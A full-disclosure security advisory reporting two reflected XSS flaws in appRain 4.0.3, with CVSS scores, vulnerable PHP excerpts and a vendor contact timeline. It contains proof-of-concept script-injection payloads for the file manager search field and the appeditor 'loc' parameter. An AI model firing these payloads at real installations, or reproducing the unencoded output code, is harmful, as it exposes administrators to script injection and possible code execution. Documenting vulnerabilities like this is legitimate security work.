appRain 4.0.3: XSS
Date: 2015-12-02 10:36:501. Introduction
| Affected Product: | appRain 4.0.3 |
| Fixed in: | not fixed |
| Fixed Version Link: | n/a |
| Vendor Website: | info@apprain.com |
| Vulnerability Type: | XSS |
| Remote Exploitable: | Yes |
| Reported to vendor: | 10/02/2015 |
| Disclosed to public: | 12/02/2015 |
| Release mode: | Full Disclosure |
| CVE: | requested, but not assigned |
| Credits | Tim Coen of curesec GmbH |
2. Overview
There are two reflected XSS vulnerabilities in appRain 4.0.3. This can lead to the injection of JavaScript keyloggers or the bypassing of CSRF protection. In the case of appRain, this may lead to code execution.
3. XSS 1
CVSS
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
Description
The search of the file manager echoes user input without encoding, leading to reflected XSS.
Proof of Concept
<html>
<body>
<form action="http://localhost/apprain-source-4.0.3/admin/filemanager/upload" method="POST">
<input type="hidden" name="data[FileManager][search]" value="'"><script>alert(1)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Code
/apprain/base/modules/toolbar.php
private function btnFilemanagerSrcBox($srcstr = "")
{
$html = '<form method="post">
<input type="text" name="data[FileManager][search]" value="' . $srcstr . '" />
<div class="button" style="float:right"><input type="submit" value="Search" /></div>
</form>';
return array('box' => $html);
}
4. XSS 2
CVSS
Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
Description
The appeditor echoes the given file name and path without encoding, leading to reflected XSS.
Proof of Concept
http://localhost/apprain-source-4.0.3/appeditor?loc='"><script>alert(1)</script>
Code
/component/appeditor/controllers/appeditor/index.phtml
<?php foreach($fileeditorqueue as $row):?>
<?php $farr = explode('/',$row);?>
<?php if( $row == $loc):?>
<li class="ui-tabs-selected">
<a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr)); ?></a>
</li>
<?php else: ?>
<li>
<a href="?loc=<?php echo $row ;?>" title="<?php echo $row ;?>"><?php echo(end($farr));?></a>
<span class="closefiletab">X</span>
</li>
<?php endif;?>
<?php endforeach;?>
5. Solution
This issue was not fixed by the vendor.
6. Report Timeline
| 10/02/2015 | Informed Vendor. Mailbox info@apprain.com is full, used security@apprain.com instead (no reply) |
| 10/21/2015 | Reminded Vendor of Disclosure Date |
| 10/21/2015 | Vendor anounces fix for 11/02/2015 |
| 11/04/2015 | No fix released, extended public disclosure date to 11/11/2015 |
| 11/05/2015 | Vendor asks for list of organizations that may help implementing fixes |
| 11/11/2015 | Replied that we do not have lists, and that we do not have the resources to implement fixes ourselves. Extended release date to 11/18/2015 and offered further extension if needed (no reply) |
| 11/17/2015 | CVE Requested (no reply) |
| 11/24/2015 | Reminded Vendor of release date, extended date to 12/02/2015 and offered extension if needed (no reply) |
| 12/02/2015 | Disclosed to public |